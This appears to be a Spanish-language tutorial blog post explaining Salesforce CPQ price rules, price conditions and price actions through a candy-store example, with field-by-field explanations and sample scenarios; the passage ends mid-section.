– Se evalúa a nivel de línea de pedido, considerando los valores específicos de los campos en la línea de cotización.

– La fórmula puede incluir referencias de campo, operadores lógicos, comparaciones y funciones para realizar cálculos y comparaciones en función de los valores de los campos en la partida de presupuesto.

– El resultado de la fórmula determina si se cumple la condición y, de ser así, las acciones de precio asociadas se aplicarán a la línea de cotización.

Condición avanzada en la regla de precio:

– Se usa dentro de una regla de precio para definir condiciones más complejas que pueden involucrar múltiples elementos de línea de cotización u objetos relacionados.

– Se evalúa a nivel de regla, teniendo en cuenta los valores en varias partidas de cotización u objetos relacionados.

– La condición avanzada generalmente se escribe utilizando Apex o SOQL (lenguaje de consulta de objetos de Salesforce) y puede incluir lógica personalizada, consultas y cálculos.

– El resultado de la condición avanzada determina si se aplica toda la regla o se omite por completo para una cotización en particular.

En resumen, la fórmula probada en una Condición de precio se usa para evaluar las condiciones en el nivel de partida de cotización individual , mientras que la condición avanzada en una Regla de precio permite condiciones más avanzadas que involucran múltiples partidas de cotización u objetos relacionados.

Comprendamos la diferencia entre la fórmula probada en una Condición de precio y la condición avanzada en una Regla de precio con la ayuda de un ejemplo:

Guión:

Dispones de una Regla de Precio para aplicar un descuento en productos en base a las siguientes condiciones:

– Condición 1: Aplicar un 10% de descuento si la cantidad de productos es mayor o igual a 10.

– Condición 2: Aplicar un 5% de descuento si el producto pertenece a una categoría específica, “Categoría Especial”.

Fórmula probada en condición de precio:

En este enfoque, utilizará una fórmula probada dentro de cada condición de precio para evaluar la condición en el nivel de artículo de línea de cotización individual.

Precio Condición 1:

– Objeto: Línea de cotización

– Fórmula probada: `Cantidad >= 10`

Precio Condición 2:

– Objeto: Línea de cotización

– Fórmula probada: `Producto.Categoría = “Categoría especial”`

En este ejemplo, la fórmula probada se usa para verificar si cada elemento de línea de cotización cumple con la condición específica. Si la fórmula se evalúa como verdadera para un artículo de línea de cotización, la acción de precio asociada se aplicará a ese artículo.

Condición avanzada en la regla de precios:

En este enfoque, utilizará una condición avanzada dentro de la regla de precio para evaluar las condiciones a nivel de regla, considerando varios elementos de línea de cotización.

Regla de precio:

– Condición avanzada: `SUM(QuoteLine.Quantity) >= 10 && MAX(QuoteLine.Product.Category) = “Special Category”`

En este ejemplo, la condición avanzada se usa para evaluar las condiciones en todos los elementos de línea de cotización en la cotización. Si la condición avanzada se evalúa como verdadera, las acciones de precio asociadas dentro de la regla de precio se aplicarán a todos los elementos de línea de cotización elegibles.

¿Para qué sirve el campo “Operador” en una Condición de Precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

Este campo determina la comparación u operación lógica a realizar al evaluar la condición.

Los operadores disponibles en el campo "Operador" pueden variar según el tipo de datos del campo que se compara. Aquí hay algunos operadores comunes que puede encontrar:

– Igual a (=): Comprueba si el valor del campo es igual al valor especificado.

– No es igual a (!=): Comprueba si el valor del campo no es igual al valor especificado.

– Mayor que (>): Comprueba si el valor del campo es mayor que el valor especificado.

– Menor que (<): Comprueba si el valor del campo es menor que el valor especificado.

– Mayor o igual que (>=): Comprueba si el valor del campo es mayor o igual que el valor especificado.

– Menor o igual que (<=): Comprueba si el valor del campo es menor o igual que el valor especificado.

– Contiene: comprueba si el valor del campo contiene una subcadena o valor específico.

Por ejemplo, si tiene una Condición de precio para aplicar un descuento cuando la cantidad de un producto es mayor a 10, utilizará el operador "Mayor que" (>) y especificará el valor 10 en la condición.

¿Qué es el campo Uso del tipo de filtro en el objeto de condición de precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

1. Variable: Le permite seleccionar una variable de resumen que contiene un valor específico. Las variables de resumen se utilizan para almacenar y hacer referencia a valores calculados basados en agregaciones o lógica de fórmula.

2. Fórmula: Le permite especificar una fórmula o expresión que determina la condición para que se aplique la Regla de Precio. Puede utilizar funciones de fórmula, operadores y referencias de campo para crear condiciones complejas basadas en los valores de la partida de presupuesto u otros objetos relacionados.

3. Valor: especifica un valor específico con el que se comparará el campo de la partida de cotización. Por lo general, se usa junto con los campos "Campo" y "Operador" para definir la condición.

Juntos, la "Variable", la "Fórmula" y el "Valor" le permiten definir las condiciones que determinan cuándo se debe aplicar la regla de precio a una partida de cotización específica.

¿Qué es el campo de valor de filtro en la condición de precio?

Un rectángulo azul y blanco Descripción generada automáticamente

El valor del filtro representa el valor esperado o el umbral con el que se compara el campo de la partida de presupuesto o grupo de partidas de presupuesto. El valor del filtro puede ser un valor numérico, un valor de texto, una fecha o cualquier otro tipo de datos adecuado según el campo que se utilice en la condición.

Escenario: regla de precio que ofrece un descuento en los dulces de ositos de goma si la cantidad supera un cierto umbral. Desea solicitar un 10% de descuento cuando la cantidad es superior a 10.

Solución

En este escenario, la Condición de Precio tendrá la siguiente configuración:

– Tipo de filtro: Campo de línea de cotización

– Campo: Cantidad

– Operador: Mayor que

– Valor del filtro: 10

Aquí, el valor del filtro se establece en 10, lo que indica que la condición busca una cantidad superior a 10. Al evaluar las líneas de cotización, si la cantidad de dulces de ositos de goma supera los 10, la condición se considera verdadera y la regla de precio con se aplicará la acción asociada, como aplicar el 10% de descuento.

¿Cuál es el uso del campo variable de filtro en la condición de precio?

El campo Filtrar variable en la condición de precio le permite hacer referencia a una variable personalizada específica de una línea de cotización o un grupo de líneas de cotización y utilizarla en la evaluación de la condición.

Consideremos un ejemplo de caramelo para comprender el uso del campo de variable de filtro en la condición de precio.

Guión

Supongamos que tiene una variable personalizada llamada "MinOrderQuantity". El objetivo es aplicar un descuento cuando la cantidad supera el valor de MinOrderQuantity de 10.

Solución:

1. Defina una variable personalizada:

– Cree una variable personalizada llamada "MinOrderQuantity" para representar la cantidad mínima de dulces necesaria para calificar para un descuento.

– Establezca el valor de “MinOrderQuantity” en 10.

2. Crear una condición de precio:

– Tipo de filtro: Campo de línea de cotización

– Campo: Cantidad

– Operador: Mayor que o Igual a

– Campo de variable de filtro: MinOrderQuantity

Esta condición de precio verifica si la cantidad de artículos de dulces en la línea de cotización es mayor o igual que el valor almacenado en la variable "MinOrderQuantity".

3. Cree una acción de precio:

– Especificar la acción a realizar cuando se cumpla la Condición de Precio. Por ejemplo, puedes aplicar un descuento del 10% al Precio Unitario de los artículos de golosinas.

4. Aplicar la regla del precio:

– Conecte la Condición de precio y la Acción de precio a la Regla de precio.

– Asegúrese de que la regla de precios esté activa y configurada para activarse correctamente en su configuración de precios.

Ahora, veamos cómo funciona este ejemplo:

– Escenario 1: la cantidad es inferior a 10

– Si la cantidad de artículos de dulces en la línea de cotización es inferior a 10, la condición de precio se evalúa como falsa.

– La regla de precio no se activa y no se aplica ningún descuento.

– Escenario 2: la cantidad es 10 o más

– Si la Cantidad de artículos de dulces en la línea de cotización es igual o superior a 10, la Condición de precio se evalúa como verdadera.

– Se activa la regla de precio y se ejecuta la acción especificada, como aplicar un descuento del 10 % al precio unitario, en esos artículos de dulces.

¿Cuál es la diferencia entre el campo Variable de filtro y Variable probada en Condición de precio?

La principal diferencia entre una variable de filtro y una variable probada en Salesforce CPQ es el contexto en el que se utilizan.

Variable de filtro:

– Se utiliza una variable de filtro en la Condición de precio para definir una condición dinámica basada en un valor específico almacenado en una variable personalizada.

– Le permite hacer referencia a una variable personalizada definida dentro del contexto de la partida de cotización o grupo de partidas de cotización.

– La variable de filtro se utiliza como parte de la evaluación de la condición para compararla con otros campos o valores.

– Ayuda a determinar si se cumplen o no las condiciones especificadas en la Condición de Precio.

Variable probada:

– Una variable probada se usa en la condición avanzada de una regla de precio para evaluar una fórmula o lógica basada en valores específicos almacenados en variables personalizadas.

– Te permite crear condiciones o cálculos complejos basados en los valores de las variables personalizadas.

– La variable probada se usa en combinación con otras variables, campos o fórmulas para determinar el resultado de la condición avanzada.

Diferenciemos entre el campo Variable de filtro y Variable probada en el contexto de un ejemplo de caramelo:

Ejemplo: descuento de temporada en la tienda de golosinas

Escenario: Filtrar uso de variables

Si el cliente pide 25 dulces, la Condición de precio con la variable de filtro "MinOrderQuantity" evaluará si la cantidad es mayor o igual a 20. Si se cumple la condición, se activará la acción especificada, como aplicar un descuento. .

Solución

1. Cree una variable personalizada llamada "MinOrderQuantity"

2. Establezca el valor de "MinOrderQuantity" en 20, lo que indica que los clientes deben pedir al menos 20 dulces para ser elegibles para el descuento.

Precio Condición:

3. Cree una condición de precio en la regla de precio.

4. Seleccione el campo "Cantidad" como campo de filtro.

5. Elija el operador "Mayor o igual que".

6. Ingrese el valor del filtro como la variable "MinOrderQuantity".

7. Especifique la acción que desea realizar, como aplicar un porcentaje de descuento, cuando se cumpla la condición.

Escenario Probado Uso de variables

Ejemplo: Si el cliente tiene un nivel de lealtad de "Oro" y la variable probada "Porcentaje de descuento" se establece en 15%, la Condición avanzada evaluará si el nivel de lealtad del cliente es "Oro". Si la condición es verdadera, el porcentaje de descuento será ser ejecutado.

Solución

1. Cree una variable personalizada denominada "Porcentaje de descuento" en Salesforce CPQ.

2. Establezca el valor de "Porcentaje de descuento" en 15, lo que indica un 15% de descuento para clientes leales.

Condición avanzada:

3. Cree una Condición Avanzada en la Regla de Precio.

4. Defina la lógica utilizando variables probadas, como "Porcentaje de descuento", nivel de lealtad del cliente y otros criterios.

5. Especifique la acción que desea realizar, como aplicar el porcentaje de descuento, cuando la Condición avanzada se evalúe como verdadera.

En resumen, las variables de filtro se utilizan en Condiciones de precio para verificar si se cumplen ciertos criterios o umbrales, en función de variables, campos o valores personalizados. Las variables probadas, por otro lado, se utilizan en Condiciones Avanzadas para realizar cálculos o lógica basada en variables personalizadas , atributos del cliente u otros factores para determinar el resultado de la Regla de Precio.

¿Cómo usamos el campo Fórmula de filtro en la condición de precio?

El campo de fórmula de filtro en Condición de precio le permite definir una condición basada en fórmula para determinar si se debe aplicar la regla. Consideremos un ejemplo en el contexto de una tienda de golosinas:

Escenario: Compre uno, llévese otro gratis Promoción

Si el cliente está comprando al menos dos artículos de dulces, aplique un descuento para que uno de los artículos sea gratis como parte de la promoción "Compre uno, llévese otro gratis".

Solución

Este es un ejemplo paso a paso del uso del campo de fórmula de filtro en la Condición de precio para implementar una promoción de "Compre uno, llévese otro gratis" en el escenario de una tienda de golosinas:

1. Configure la Condición de Precio:

– Establezca el tipo de filtro en "Fórmula" en el registro de Condición de precio.

– Introduzca una fórmula en el campo de fórmula de filtro para comprobar si se cumple la condición. Cantidad >= 1.

– Esta fórmula verifica si la cantidad del artículo de dulces en la línea de cotización es mayor o igual a 1, lo que indica que el cliente está comprando al menos dos artículos.

2. Especifique la acción deseada:

– Determine la acción que desea realizar cuando la fórmula del filtro se evalúe como verdadera. En este caso, se trata de una promoción de “Compre uno, llévese otro gratis”.

¿Cuál es el uso del campo de índice en la condición de precio?

El campo "Índice" en el objeto Condición de precio se puede utilizar para definir el orden en el que se evalúan las condiciones para aplicar las reglas de precios. Consideremos un ejemplo para entender su uso:

Escenario: Descuento para barras de chocolate

1. Cree una regla de precio para aplicar un descuento a las barras de chocolate.

2. Agregue múltiples condiciones de precio dentro de la regla de precio para definir diferentes condiciones bajo las cuales se debe aplicar el descuento. Por ejemplo:

– Condición de Precio 1: Comprobar si el tipo de caramelo es “Barra de Chocolate”.

– Condición de Precio 2: Comprobar si la cantidad de barras de chocolate es mayor o igual a 10.

– Condición de precio 3: Comprobar si el cliente tiene un nivel de membresía específico.

3. Establezca los valores del índice para cada condición de precio:

– Condición de precio 1: establezca el valor del índice en 1.

– Condición de precio 2: establezca el valor del índice en 2.

– Condición de precio 3: establezca el valor del índice en 3.

Al asignar valores de índice a las condiciones de precio, está definiendo el orden en el que deben evaluarse. En este ejemplo, se evaluará primero la condición de precio 1 con un valor de índice de 1, seguida de la condición de precio 2 con un valor de índice de 2 y finalmente la condición de precio 3 con un valor de índice de 3.

————

Acción del precio

Exploremos el uso del objeto Price Action con varios ejemplos.

1. Aplicar un descuento:

– Acción de precio: establezca un objeto de acción de precio con el objeto de destino como "Línea de cotización"

– Acción: especifique un porcentaje de descuento, como un 20 % de descuento, en la Acción de precio.

– Resultado: Cuando un cliente agrega un dulce específico a su cotización, Price Action automáticamente aplicará el descuento al Precio Unitario de ese dulce, resultando en un precio reducido.

2. Precios por volumen:

– Acción de precio: Cree un objeto de Acción de precio con el Objeto de destino establecido como “Línea de cotización”.

– Acción: defina una estructura de nivel de precio en la Acción de precio basada en rangos de cantidad. Por ejemplo:

– 1-10 dulces: $1 por dulce

– 11-20 dulces: $0.90 por dulce

– 21+ dulces: $0.80 por dulce

– Resultado: cuando un cliente agrega dulces a su cotización, Price Action ajustará el precio unitario en función de la cantidad, proporcionando descuentos de precios basados en el volumen.

3. Regalo con Compra:

– Acción de precio: establezca el objeto de destino como "Cotización" para aplicar la acción en el nivel de cotización.

– Acción: Especifique una condición de que si el cliente compra una cierta cantidad de un dulce específico, recibirá un regalo.

– Resultado: cuando se cumple la condición especificada, Price Action agregará automáticamente el obsequio a la cotización, mejorando la experiencia del cliente.

4. Precios especiales para clientes VIP:

– Acción de precio: cree un objeto de acción de precio con el objeto de destino como "Cotización" o "Línea de cotización" según sus requisitos.

– Acción: defina un campo personalizado que identifique a los clientes VIP. Establezca la Acción de precio para aplicar un descuento específico para esos clientes.

– Resultado: Cuando un cliente VIP agregue dulces a su cotización, Price Action reconocerá su estado y aplicará el descuento exclusivo automáticamente.

Estos ejemplos demuestran cómo el objeto Price Action le permite definir acciones específicas, como aplicar descuentos, ajustar precios en función de la cantidad, ofrecer obsequios o proporcionar precios especiales para segmentos de clientes específicos. El objeto Price Action le permite automatizar estas acciones.

La regla de precio y el objeto de acción de precio tienen una relación maestro-detalle.

Una captura de pantalla de una computadora Descripción generada automáticamente

Comprensión de los campos en el objeto de acción del precio

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Cuál es el uso del campo de regla de precio en el objeto de acción de precio?

Conecta la acción del precio con la regla de precio principal. Indica a qué regla de precio está asociada la acción de precio y determina bajo qué regla debe evaluarse la condición.

¿Cuál es la importancia del objeto objetivo en la acción del precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

El objeto de destino en la acción del precio determina dónde se aplicarán los cambios de precios especificados en la acción del precio.

Suponga que tiene una acción de precio que aplica un descuento del 10 % al precio unitario de los dulces de ositos de goma cuando la cantidad supera los 100. El campo Objeto de destino en la acción de precio determina qué registros recibirán este descuento.

En este caso, seleccionaría el objeto "Línea de cotización" como el Objeto de destino en la Acción del precio. Esto significa que el descuento se aplicará a los registros de línea de cotización que representan los dulces de ositos de goma en la cotización.

¿Importancia del campo Valor en Price Action?

El campo Valor en el objeto Acción del precio se usa para especificar el valor específico o los datos que deben establecerse en el campo del objeto de destino. Define el resultado de la acción del precio, indicando el resultado deseado o el cambio que debe ocurrir.

Escenario: cuando un cliente agrega un osito de gominola con sabor a fresa a su cotización, Price Action actualizará el campo Precio de ese dulce al valor especificado de $2.50.

Solución:

– Acción de precio: Cree un objeto de Acción de precio con el Objeto de destino establecido como “Línea de cotización”.

– Campo: elija el campo “Precio” en el objeto de destino que desea actualizar con un nuevo valor

– Valor: Especifique el precio deseado para el sabor del caramelo en el campo Valor. Si el dulce es un osito de goma con sabor a fresa, establezca el campo Valor en $2,50.

¿Cuál es el uso del campo Fórmula en el objeto Acción de precio y el campo Fórmula en el objeto Condición de precio?

Comprendamos cuándo usar el campo Fórmula en cada objeto.

  • El campo Fórmula en la Acción del precio se usa para calcular y aplicar directamente el monto del descuento o el valor del campo según ciertos criterios.
  • El campo Fórmula en la Condición de precio establece condiciones o calcula valores que determinan cuándo debe ejecutarse la Acción de precio.

Suponga que desea ofrecer un 10 % de descuento en un dulce de sabor a “chocolate”, pero el monto del descuento varía según la cantidad pedida del sabor de dulce de chocolate en la cotización.

Uso de la fórmula en la acción del precio:

En este escenario, puede agregar un campo Fórmula directamente al objeto Acción del precio. La fórmula calcularía el monto del descuento en función de la cantidad del sabor del caramelo "chocolate".

Uso de fórmula en condición de precio:

En algunos casos, es posible que desee aplicar el descuento solo si la cantidad del sabor de caramelo específico supera cierto umbral.

“SI (Cantidad > 10, 0,2, 0,1)” que establece el porcentaje de descuento en un 20% si la cantidad es superior a 10 y en un 10% en caso contrario. La condición de precio comprueba esta fórmula y evalúa si se cumple la condición. Si se cumple la condición, activa la Price Action asociada con el porcentaje de descuento definido.

Razones para usar fórmulas en condiciones de precio:

1. Lógica condicional: el campo Fórmula en la Condición de precio le permite definir la lógica condicional en función de criterios específicos. Puede configurar condiciones complejas que involucren múltiples campos o cálculos para determinar si se debe activar la acción del precio.

2. Filtrado avanzado: la condición de precio puede evaluar varios factores, como cantidad, precio, rango de fechas o cualquier otro campo relevante antes de decidir aplicar la acción de precio.

Razones para usar fórmulas en la acción del precio:

1. Actualizaciones directas de campo: si el cálculo del descuento es sencillo y no requiere condiciones complejas o filtrado, puede calcular y actualizar directamente el valor del campo en la acción del precio.

¿Cuál es la importancia del campo fuente en la acción del precio?

El "Campo de origen" en Price Action especifica el campo desde el cual se obtendrá el valor y se utilizará en Price Action.

Guión:

Para un producto de golosina en particular, el campo "Precio original" en el objeto Producto es $10.

Cuando se activa la Acción de precio, obtendrá el valor de $10 del campo "Precio original" en el objeto Producto.

La acción del precio luego actualizará el campo "Precio con descuento" en la línea de cotización con el valor obtenido. Digamos que tienes un porcentaje de descuento del 20%. En este caso, el cálculo sería:

Precio con descuento = Precio original – (Precio original * Porcentaje de descuento)

= $10 – ($10 * 0.20)

= $10 – $2

= $8

Después de ejecutar la acción de precio, el campo "Precio con descuento" en la línea de cotización se actualizará con el valor calculado de $8.

Solución:

Los siguientes detalles se completarán en el objeto de acción del precio:

– Objeto de origen: Producto

– Campo de origen: precio original

– Objeto de destino: línea de cotización

– Campo objetivo: Precio con descuento

¿Diferencia entre el campo de origen y el campo de búsqueda de origen en la acción del precio?

Objeto rectangular blanco con fondo blanco Descripción generada automáticamente

Campo de origen:

– El campo de origen hace referencia a un campo específico en el objeto de origen del que se obtienen los datos y se utilizan en la acción del precio.

Campo de búsqueda de fuente:

– El campo de búsqueda de origen, por otro lado, se usa cuando desea obtener el valor de campo de un registro relacionado a través de una relación de búsqueda. Le permite atravesar un campo de búsqueda para acceder a campos en el objeto relacionado y usarlos en la acción del precio.

Para entender la diferencia, consideremos un ejemplo con una tienda de golosinas:

Suponga que tiene un campo personalizado denominado "Precio original" en el objeto Producto y una relación de búsqueda entre los objetos Producto y Fabricante. El objeto Fabricante tiene un campo llamado "Nombre del fabricante".

Si desea buscar y usar el valor del campo "Precio original" directamente, usaría el Campo de origen. Sin embargo, si desea acceder al valor del campo "Nombre del fabricante" a través de la relación de búsqueda, debe utilizar el Campo de búsqueda de origen.

Aquí hay una comparación entre los dos:

Campo de origen:

– Ejemplo: Producto.Precio_Original__c

– Hace referencia directa al campo en el objeto de origen.

– Obtiene y utiliza el valor del campo especificado tal cual.

Campo de búsqueda de fuente:

– Ejemplo: Producto.Fabricante__r.Nombre_Fabricante__c

– Recorre una relación de búsqueda para acceder al valor de campo del objeto relacionado.

– Obtiene y usa el valor del campo especificado en el objeto relacionado.

En resumen, el campo de origen se usa para hacer referencia directamente a un campo en el objeto de origen, mientras que el campo de búsqueda de origen se usa para obtener el valor de campo de un registro relacionado a través de una relación de búsqueda. La elección depende de los datos específicos que desea recuperar y utilizar en la acción del precio.

¿Cuál es el uso del campo Variable de origen en la regla de precio?

Continuemos con nuestro ejemplo de la tienda de golosinas para ilustrar el uso del campo variable de origen en una acción de precio.

El campo Variable de origen en la Acción de precio le permite obtener el valor de la variable personalizada, digamos "Porcentaje de descuento" de la Regla de precio asociada. Esto permite que Price Action aplique dinámicamente el porcentaje de descuento correcto al campo "Precio con descuento".

1. Configure los siguientes detalles para la acción del precio:

– Objeto de origen: línea de cotización

– Objeto de destino: línea de cotización

– Campo objetivo: Precio con descuento

– Campo de variable de origen: Porcentaje de descuento

3. Digamos que la regla de precio determinó que el porcentaje de descuento aplicable es del 15 % en función de la cantidad de dulces en la cotización.

4. La acción del precio usará el valor obtenido del 15 % y lo aplicará al campo "Precio con descuento" en la línea de cotización. Supongamos que el precio original de los dulces es de $10.

Precio con descuento = Precio original – (Precio original * Porcentaje de descuento)

= $10 – ($10 * 0,15)

= $10 – $1.50

= $8.50

5. Después de ejecutar la acción de precio, el campo "Precio con descuento" en la línea de cotización se actualizará con el valor calculado de $8,50.

50% Me gusta VS
50% No me gusta

Seguir leyendo

Salesforce CPQ cubierto de azúcar: ¡Desentrañando las reglas de precios en el mundo de las tiendas de golosinas!

Salesforce CPQ cubierto de azúcar: ¡Desentrañando las reglas de precios en el mundo de las tiendas de golosinas!

Imagine que está creando un sistema Salesforce CPQ para una tienda de golosinas. Vaya, será muy divertido. ¿Cómo usaría las reglas de precios para manejar promociones especiales, como una oferta de "Compre uno, llévese otro gratis" para un dulce específico? En el escenario de la tienda de golosinas, ¿cómo crearía una regla de precio para aplicar un descuento del 20 % a todos los chocolates durante el Día de San Valentín?

Entonces, ¡saltemos y exploremos las reglas de precios en el universo de Salesforce CPQ cubierto de azúcar! Yay 😊

¿Regla de precios en Salesforce CPQ?

Imagina que tienes una tienda de dulces con diferentes tipos de dulces como piruletas, ositos de goma y barras de chocolate. Cada caramelo tiene un precio diferente. Ahora, hablemos de la regla del precio:

La regla del precio es como una regla especial que creas para tu tienda de golosinas. Te ayuda a decidir cómo fijar los precios o aplicar descuentos a diferentes dulces en función de determinadas condiciones.

Por ejemplo, supongamos que desea tener una oferta de "Compre uno, llévese otro gratis" para dulces de ositos de goma. Puede crear una regla de precios que diga que cada vez que alguien compra un paquete de ositos de goma, obtiene otro paquete gratis. ¡Es como una oferta especial solo para los amantes de los ositos de goma!

O tal vez quieras tener un descuento en piruletas por tiempo limitado. Puede crear una regla de precio llamada "Venta de piruletas" que reduce el precio de las piruletas en un 20 % durante una semana. Esto hace que las piruletas sean más asequibles y anima a más personas a comprarlas.

La regla de precios le permite establecer diferentes acciones y condiciones de precios para cada tipo de dulce. Puede definir descuentos, ofertas especiales o incluso ajustar los precios en función de condiciones específicas, como la cantidad comprada o el estado de membresía del cliente.

Al crear Reglas de precios, puede hacer que su tienda de golosinas sea más emocionante y atraer a más clientes. Te ayuda a establecer precios y aplicar descuentos de una manera que hace felices a las personas y las alienta a comprar sus dulces favoritos.

Imagen

¿Cuál es la estructura de la Regla de Precios?

La regla de precios incluía tres registros relacionados:

  1. Regla de precio
  2. Precio Condición
  3. Acción del precio

La Regla de precio tiene una relación Maestro-Detalle con la Condición de precio y la Acción de precio.

Al conectar la regla de precios con las condiciones de precios secundarias relevantes, el sistema de precios garantiza que se apliquen las reglas apropiadas en función de condiciones específicas. Price Action define las acciones que se deben tomar cuando se cumplen las condiciones de precio asociadas. Especifica cómo se deben modificar los precios u otros valores de campo en función de los criterios de la regla.

1. Regla de precio: La regla de precio contiene todas las reglas específicas para la fijación de precios en la tienda de golosinas. Le dice a la tienda cómo manejar diferentes situaciones al establecer los precios de los dulces.

2. Condición de precio: Hay alguien en la tienda que verifica el tipo de dulces que desea comprar. Se aseguran de que cumpla ciertas condiciones, como ser un “Gummy Bear” o tener un sabor específico.

3. Acción del precio: una vez que el dulce pasa la inspección, hay alguien que ajusta el precio según las reglas de precios. Pueden ofrecer un descuento, cambiar la cantidad o hacer algo especial para que el precio sea más atractivo.

Importancia de los campos en la regla de precios

Los campos juegan un papel importante en las reglas de precios dentro de Salesforce CPQ. Las reglas de precios usan campos para definir condiciones, acciones y criterios que determinan cómo se aplican los cálculos de precios y los descuentos. Por lo tanto, comprenderemos cada campo en el objeto Regla de precio y su importancia con la ayuda del Ejemplo de tienda de golosinas.

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Diferencia entre Calculator y Configurator Evaluation Scope en la regla de precio en Salesforce CPQ?

Un rectángulo blanco y azul con una línea azul Descripción generada automáticamente

El campo Alcance de la evaluación es como usar esa calculadora mágica. Cuando tiene reglas de precios con el Ámbito de evaluación de la calculadora, la calculadora las utiliza para decidir cuánto debería costar algo. Tiene dos valores de lista de selección:

  • Ámbito de evaluación de la calculadora: el ámbito se trata de usar reglas especiales para calcular precios.
  • Ámbito de evaluación del configurador: seguir las reglas cuando elige diferentes opciones.

Expliquemos la diferencia entre los ámbitos de evaluación de Calculadora y Configurador en Salesforce CPQ con un ejemplo en tiempo real:

Imagina que vas a una tienda de dulces a comprar unos deliciosos dulces. Tienes un presupuesto de $10 y quieres comprar diferentes tipos de dulces según sus sabores.

Exploremos cómo entran en juego los ámbitos de evaluación de la calculadora y el configurador:

1. Ámbito de evaluación de la calculadora:

– Imagina que hay una oferta especial en la que si compras más de 5 caramelos, obtienes un 20% de descuento sobre el precio total.

– Esta oferta es un ejemplo de una regla de precio con el Ámbito de evaluación de la calculadora. La regla calcula el precio con descuento en función de la cantidad de dulces que está comprando.

– Entonces, si agrega 7 dulces a su carrito, la Calculadora evalúa la regla del precio y aplica el descuento, reduciendo el costo total.

2. Alcance de la evaluación del configurador:

– Ahora, consideremos los sabores de dulces disponibles en la tienda: fresa, chocolate y limón.

– Existe una regla que dice que si elige dulces con sabor a fresa, no puede elegir dulces con sabor a limón porque no combinan bien.

– Esta regla es un ejemplo de una regla de precio con el alcance de evaluación del configurador. Controla la disponibilidad de ciertas opciones en función de sus elecciones anteriores.

– Si ya tienes caramelos de fresa en tu carrito, el Configurador evalúa la regla y evita que selecciones caramelos de limón, asegurando que no termines con una combinación incompatible.

En este ejemplo anterior

El Ámbito de evaluación de la calculadora ayuda a calcular el precio total de sus dulces en función de ofertas especiales, descuentos y cantidad.

El Ámbito de evaluación del configurador garantiza que siga ciertas reglas al seleccionar diferentes opciones, como sabores, para evitar opciones incompatibles.

¿Explicar el evento de evaluación de la calculadora?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos los eventos de evaluación de la calculadora de "Al iniciar", "Al calcular", "Antes de calcular" y "Después de calcular" con un ejemplo en tiempo real utilizando el escenario de la tienda de golosinas:

En breve:

“On Initiate” marca el comienzo del proceso de cálculo de caramelos.

“On Calculate” realiza el cálculo del precio real de los dulces.

"Antes de calcular" aplica cualquier verificación o regla final justo antes del cálculo.

"Después de calcular" permite acciones adicionales o sorpresas después de que se hayan determinado los precios.

Entendamos con más detalle:

1. Al iniciar:

– Suponga que tiene una regla de precio que establece que si el cliente es un miembro leal, obtiene un 5 % de descuento en todas las compras de golosinas.

– Esta regla de precio tendría el evento de evaluación establecido en "Al iniciar".

– Cuando el cliente inicia el proceso de cálculo del precio, como por ejemplo al comenzar una nueva cotización, el sistema verifica si es un miembro fiel y aplica el 5% de descuento a todos los dulces en su carrito desde el principio.

2. En Calcular:

– Imagine que tiene una regla de precio que ofrece un descuento por volumen si el cliente compra más de 10 dulces de cualquier sabor.

– Esta regla de precio tendría el evento de evaluación establecido en "Al calcular".

– A medida que el cliente agrega dulces a su carrito, el sistema calcula continuamente la cantidad total de dulces. Cuando alcanza o supera los 10, se activa la regla de precio y se aplica un descuento por volumen a todos los dulces del carrito.

3. Antes de calcular:

– Supongamos que tiene una regla de precio que establece que si el cliente ha seleccionado dulces con un precio total superior a $30, recibe una bolsa de dulces de cortesía.

– Esta regla de precio tendría el evento de evaluación establecido en "Antes de calcular".

– Justo antes de realizar el cálculo final, el sistema verifica si el precio total de los dulces supera los $30. Si es así, se activa la regla de precio y se agrega una bolsa de dulces de cortesía al carrito.

4. Después de calcular:

– Suponga que tiene una regla de precio que ofrece una oferta promocional especial de "Compre 2, obtenga 1 gratis" para un sabor de dulce específico.

– Esta regla de precio tendría el evento de evaluación establecido en "Después de calcular".

– Una vez que se completa el cálculo final, el sistema revisa los dulces seleccionados por el cliente e identifica si califican para la oferta "Compre 2, obtenga 1 gratis". Si lo hacen, se activa la regla de precio y el sistema agrega los dulces gratis al carrito.

Mediante el uso de estos diferentes eventos de evaluación de la calculadora, puede aplicar descuentos, ofertas o modificaciones específicas en diferentes etapas del proceso de cálculo en Salesforce CPQ.

¿Cuál es el significado del campo "Condición cumplida" en una regla de precios?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos los conceptos de "Condición cumplida – Todas" y "Condición cumplida – Cualquiera" usando nuestro ejemplo de tienda de golosinas:

1. Condición cumplida – Todas:

– Imagina que tienes una tienda de golosinas con una promoción especial: si un cliente compra al menos 5 golosinas y el precio total supera los $10, recibe una bolsa de golosinas gratis.

– Esta regla de precio tendría la condición cumplida establecida en “Todos”.

– Cuando un cliente agrega 5 o más dulces a su carrito y el precio total de esos dulces supera los $10, ¡se cumplen todas las condiciones!

– Como resultado, el sistema reconoce que el cliente califica para la promoción y se agrega automáticamente una bolsa de dulces gratis a su pedido al finalizar la compra.

2. Condición cumplida – Cualquiera:

– Ahora, considere una regla de precio diferente: si un cliente compra cualquier dulce con un sabor específico (por ejemplo, “Cereza”), o si compra más de 10 dulces en total, recibe un descuento del 20%.

– Esta regla de precio tendría la condición cumplida establecida en "Cualquiera".

– Cuando un cliente selecciona un dulce con sabor a “Cereza” o agrega más de 10 dulces a su carrito, ¡cualquiera de las condiciones se cumple!

– Como resultado, el sistema aplica el 20% de descuento a los dulces que califican, independientemente de la condición que activó el descuento.

En ambos escenarios, la "Condición cumplida: todas" requiere que se cumplan todas las condiciones especificadas, mientras que la "Condición cumplida: cualquiera" solo requiere que se cumpla al menos una condición. Estos diferentes enfoques le permiten crear estrategias de precios personalizadas basadas en combinaciones específicas o criterios individuales.

¿Puede explicar el campo de objeto de búsqueda en una regla de precio con la ayuda del escenario?

Un rectángulo negro con borde azul Descripción generada automáticamente

En tu tienda de golosinas tienes diferentes tipos de golosinas con características únicas. El campo Objeto de búsqueda en el objeto Regla de precio es como una conexión especial que lo ayuda a aplicar reglas específicas a ciertos tipos de dulces.

Imagina que tienes un caramelo llamado "Rainbow Lollipop" y quieres crear una regla de precio especial para él. Así es como funciona:

1. Relación de objetos de búsqueda:

